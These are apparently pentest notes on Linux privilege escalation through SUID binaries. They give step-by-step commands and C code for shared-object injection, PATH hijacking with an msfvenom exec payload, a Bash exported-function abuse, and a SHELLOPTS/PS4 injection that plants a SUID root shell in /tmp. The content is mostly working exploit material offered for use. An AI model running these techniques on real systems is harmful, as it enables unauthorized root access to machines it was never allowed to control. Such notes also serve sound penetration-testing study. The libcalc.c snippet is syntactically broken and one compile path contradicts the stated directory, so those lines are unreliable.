Cannot use LD_PRELOAD
or LD_LIBRARY_PATH
for SUID.
Shell escape
- Can find SUID and SGID files with this command:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Check the shell escape at https://gtfobins.github.io/
Known Exploits
- Find SUID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Check the version of the app (
--version
or--help
) - Use
searchsploit appname version
- If got any
^M
character remove them, set executablechmod +x esc.sh
- Execute to get root
Shared Object Injection
- Application will load shared objects required. So if we can know which shared objects not found we can replace them and get root if there is SUID.
- Find SUID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Run strace on the file (eg if we see /usr/local/bin/suid-so):
strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"
- If we see something like open(
"/home/user/bla/libcalc.so
) in directory we can write to, we can attempt to create the file. - Create the bla directory, and create the libcalc.c as below.
- Compile libcalc.c into /home/user/bla/libcalc.so:
gcc -shared -fPIC -o /home/user/.config/libcalc.so libcalc.c
- Run the SUID file:
/usr/local/bin/suid-so
libcalc.c
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p"
}
PATH environmental variable
- When programA (not script) try to run another programB, most likely name of programB is embedded in the executable file of programA as a string.
- Find SUID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Run
strings
on the suspicious app (for egstrings /usr/local/bin/suid-env
). If you see something likeservice apache2 start
, this app might be running service without a full path. - Can verify with strace:
strace -v -f -e execve /usr/local/bin/suid-env 2>&1 | grep service
or ltrace:
ltrace /usr/local/bin/suid-env 2>&1 | grep service
- Since it runs service, create a service.c as below. (OR JUST CREATE A METERPRETER COMMAND AND RENAME IT!) For example:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf > xxx
Download on the target, thenchmod 777 xxx
Make sure the name is correct, then run step 7:PATH=.:$PATH /usr/local/bin/vulnser
\ - Compile service.c into service:
gcc service.c -o outputfilename
- Prepend the current directory (where you compiled service) into PATH and execute SUID:
PATH=.:$PATH /usr/local/bin/suid-env
service.c
int main() {
setuid(0);
system("/bin/bash -p");
}
Abusing Shell Feature 1
Only works on Bash < 4.2-048 (can define user function using a path name and even take priority)
- Find SUID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Run
strings
on the suspicious app (eg:strings /usr/local/bin/suid-env2
). If you see results like/usr/sbin/service apache2 start
, although service is full path, still possible vulnerable. - Verify with strace:
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
or ltrace:
ltrace /usr/local/bin/suid-env2 2>&1 | grep service
- Ensure that bash is lower than 4.2-048
bash --version
- Create a bash function with the name /usr/sbin/service and export the function:
function /usr/sbin/service { /bin/bash -p; }
export –f /usr/sbin/service
- Execute the SUID for root shell
/usr/local/bin/suid-env2
Abusing Shell Feature 2
Debugging mode with SHELLOPTS
- Find SUID files:
find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2>/dev/null
- Run
strings
on suspicious app (examplestrings /usr/local/bin/suid-env2
). If you see results like/usr/sbin/service apache2 start
, although service is full path, still possible vulnerable. - Verify with strace:
strace -v -f -e execve /usr/local/bin/suid-env2 2>&1 | grep service
or ltrace:
ltrace /usr/local/bin/suid-env2 2>&1 | grep service
- Run the SUID file with debugging and our payload:
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chown root /tmp/rootbash; chmod +s /tmp/rootbash)' /usr/local/bin/suid-env2
- Run rootbash with -p to gain root shell:
/tmp/rootbash -p